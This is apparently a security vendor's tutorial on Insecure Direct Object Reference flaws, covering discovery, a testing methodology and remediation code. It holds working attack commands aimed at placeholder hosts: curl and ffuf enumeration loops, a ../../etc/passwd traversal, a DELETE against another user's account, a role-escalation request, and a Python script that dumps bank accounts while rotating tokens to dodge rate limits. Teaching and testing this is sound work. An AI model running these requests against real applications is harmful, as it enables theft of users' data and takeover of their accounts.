Insecure Direct Object Reference, commonly known as IDOR, is one of the most consistently abused vulnerability classes in web applications. It sits within the OWASP Top 10 under Broken Access Control, which ranked as the number one web application security risk in 2021 and has remained a critical concern ever since. Despite being conceptually straightforward, IDOR flaws are responsible for some of the most damaging data breaches in recent history, exposing everything from private messages to financial records and healthcare data.
This guide walks through how IDOR vulnerabilities are discovered and exploited, complete with real-world commands and payloads, so security teams, developers, and pentesters understand exactly what they are up against.
An IDOR vulnerability occurs when an application uses user-controllable input to access objects directly without performing proper authorization checks. The application trusts the reference provided by the user, such as a numeric ID, filename, or GUID, and returns the corresponding resource without verifying whether the requesting user actually has permission to access it.
A classic example looks like this. After logging in, a user receives a URL such as:
https://example.com/api/user/profile?user_id=1042
[cta]
By simply changing user_id=1042 to user_id=1043, the attacker retrieves another user's profile data. No privilege required. No special tooling needed. Just a number change in the browser.
IDOR flaws are dangerous for several reasons. They require no advanced exploitation skills, they bypass authentication entirely (since the user is already authenticated, just not authorized), they scale horizontally across all user records, and they are frequently missed during standard code reviews because the logic flaw exists in what the application does not check rather than what it does.
The most basic form involves incrementing or decrementing integer-based identifiers. Attackers use tools like Burp Suite's Intruder or simple curl loops to enumerate resources.
for i in $(seq 1000 1100); do
curl -s -H "Authorization: Bearer <your_token>" \
"https://target.com/api/orders/$i" | grep -i "user_email"
done
[cta]
This loop iterates through order IDs and dumps email addresses from each order record. In a vulnerable application, every response will return data belonging to different users.
Some developers believe switching from sequential integers to GUIDs (Globally Unique Identifiers) eliminates IDOR. It does not. If GUIDs are predictable, exposed in API responses, or leaked via server logs and referrer headers, attackers can harvest them and replay them.
# Extract GUIDs from API response bodies
curl -s "https://target.com/api/users/list" \
-H "Authorization: Bearer <token>" | grep -oP '[0-9a-f\-]{36}'
[cta]
Once a list of GUIDs is obtained, each one becomes a direct object reference that can be tested for unauthorized access.
Applications that serve files using user-supplied filenames are particularly vulnerable.
GET /download?file=report_user_1042.pdf
[cta]
Changing the filename to another user's report, or traversing directories with ../../etc/passwd, combines IDOR with path traversal for amplified impact.
curl "https://target.com/download?file=../../etc/passwd" \
-H "Cookie: session=<session_token>"
[cta]
Horizontal IDOR means a regular user accesses data belonging to another regular user at the same privilege level. Vertical IDOR means a regular user accesses data or functions belonging to a higher-privileged user, such as an admin. Vertical IDOR is rarer but far more severe.
If you are performing authorized penetration testing on your own infrastructure or as part of an engagement, the following methodology applies.
Use Burp Suite to proxy all traffic and identify every parameter that references an object: user IDs, account numbers, invoice IDs, document IDs, session tokens tied to resources, and filename parameters.
# In Burp Suite, search across HTTP history for common ID patterns
Regex: (id|uid|user_id|account|order|doc|file|record)=\d+
[cta]
This is standard IDOR testing practice. Create Account A and Account B with the same privilege level. Perform actions as Account A to generate object references (orders, files, messages), then switch to Account B's session and replay those references.
# Account A performs an action and gets object ID
curl -s -X POST "https://target.com/api/messages" \
-H "Authorization: Bearer <token_A>" \
-d '{"content": "test message"}' | grep -i "message_id"
# Account B attempts to read Account A's message
curl -s "https://target.com/api/messages/<message_id_from_A>" \
-H "Authorization: Bearer <token_B>"
[cta]
If Account B retrieves the message, the endpoint is vulnerable.
Many developers implement access control on GET requests but forget to enforce it on PUT, DELETE, or PATCH methods.
# Test if a DELETE action bypasses access control
curl -s -X DELETE "https://target.com/api/account/1043" \
-H "Authorization: Bearer <token_for_account_1042>"
[cta]
A vulnerable response here would return a 200 or 204 status and successfully delete another user's account.
Use Burp Intruder or ffuf to automate enumeration across a range of IDs.
ffuf -u "https://target.com/api/invoice/FUZZ" \
-H "Authorization: Bearer <token>" \
-w /usr/share/wordlists/numbers.txt \
-mc 200 -o idor_results.json
[cta]
Filter responses by status code 200 to identify valid object references that return data. Cross-reference the returned user identifiers against your own test account to identify IDOR hits.
Many APIs return object references for other users in responses, even when the references are not meant to be acted upon. Harvest these and replay them.
curl -s "https://target.com/api/dashboard" \
-H "Authorization: Bearer <token>" | python3 -m json.tool | grep -i "_id"
[cta]
Look for user_id, admin_id, account_ref, or any field that points to another object. These are candidate references for IDOR testing.
If your organization's web applications handle sensitive user data, the best way to know whether you are exposed to IDOR is through a professional penetration test. Redfox Cybersecurity offers comprehensive web application pentesting that covers IDOR and the full OWASP Top 10.
An attacker finds a mobile banking API endpoint that returns account details using a sequential account number. They write a script that iterates through 50,000 account numbers over several hours, rotating session tokens to evade rate limiting.
import requests
headers = {"Authorization": "Bearer <valid_token>"}
base_url = "https://bank-api.target.com/v1/account/"
for account_id in range(100000, 150000):
r = requests.get(base_url + str(account_id), headers=headers)
if r.status_code == 200:
print(r.json())
[cta]
The result is a full dump of account holder names, balances, and transaction histories, all without ever escalating privileges.
A SaaS platform stores contracts using predictable filenames tied to company names. An attacker enumerates competitor contracts by guessing or brute-forcing filenames.
cat company_names.txt | while read name; do
curl -s "https://platform.target.com/docs/$name-contract-2024.pdf" \
-H "Cookie: session=<token>" -o "$name.pdf"
done
[cta]
A regular user discovers that changing their role parameter in an API request bypasses server-side role enforcement.
curl -s -X PUT "https://target.com/api/users/me" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"role": "admin", "user_id": 1042}'
[cta]
If the application trusts client-supplied role values without server-side verification, this single request grants admin access.
Given the complexity of modern API architectures, manual penetration testing by experienced researchers is the most reliable way to identify IDOR and related access control failures. Redfox Cybersecurity's penetration testing services are designed to uncover exactly these kinds of logic flaws across your entire attack surface.
Every request that retrieves or modifies an object must be validated against the authenticated user's identity and permissions on the server side. Client-supplied identifiers must never be trusted alone.
# Pseudocode: Python/Flask example
@app.route('/api/invoice/<int:invoice_id>')
@login_required
def get_invoice(invoice_id):
invoice = Invoice.query.get_or_404(invoice_id)
if invoice.user_id != current_user.id:
abort(403) # Forbidden
return jsonify(invoice.to_dict())
[cta]
Instead of exposing real database IDs, map them to session-specific tokens. The user sees a meaningless token; the server resolves it to the actual object internally.
# Store mapping in session
session['invoice_refs'] = {
'tok_abc123': 1042,
'tok_def456': 1043
}
# On request, resolve token to ID
real_id = session['invoice_refs'].get(user_supplied_token)
if not real_id:
abort(400)
[cta]
Use row-level security in your database or scope all queries to the authenticated user's context so unauthorized records are never returned, even if the ID is correct.
-- PostgreSQL row-level security example
CREATE POLICY user_isolation ON invoices
USING (user_id = current_setting('app.current_user_id')::INT);
[cta]
Even if an IDOR exists, aggressive rate limiting and anomaly detection can limit the blast radius. Log and alert on sequential parameter access patterns that deviate from normal usage.
REST APIs, GraphQL endpoints, and mobile backends introduce new IDOR attack surfaces. GraphQL is particularly interesting because object relationships can be traversed in ways that expose unintended data.
query {
user(id: "1043") {
name
email
paymentMethods {
cardNumber
expiryDate
}
}
}
[cta]
Mobile applications frequently embed API endpoints and parameters in their binary code or network traffic. Reverse-engineering APKs with tools like jadx or intercepting HTTPS traffic with Burp Suite reveals these references, opening them up to IDOR testing.
Given the complexity of modern API architectures, manual penetration testing by experienced researchers is the most reliable way to identify IDOR and related access control failures. Redfox Cybersecurity specializes in API security assessments and web application penetration testing built around real-world attacker methodology.
IDOR remains one of the highest-impact, lowest-barrier vulnerabilities in modern web applications. It does not require exploiting a memory corruption bug, crafting shellcode, or bypassing endpoint detection. It requires nothing more than changing a number in a URL or a request body. The consequences, however, are anything but trivial: mass data exposure, account takeover, unauthorized financial transactions, and regulatory violations under GDPR, HIPAA, and PCI-DSS.
The organizations that suffer the worst outcomes from IDOR are invariably those that never tested for it. A thorough penetration test maps every object reference in your application, attempts unauthorized access across privilege levels and user contexts, and delivers actionable findings before an attacker can exploit them.
If your organization handles user data in any capacity, you cannot afford to leave IDOR untested. Redfox Cybersecurity provides expert-led penetration testing services that go beyond automated scanning to uncover the logic flaws, broken access controls, and IDOR vulnerabilities that put your users and your business at risk. Reach out to the team at redfoxsec.com/services and get a security assessment built around how real attackers operate.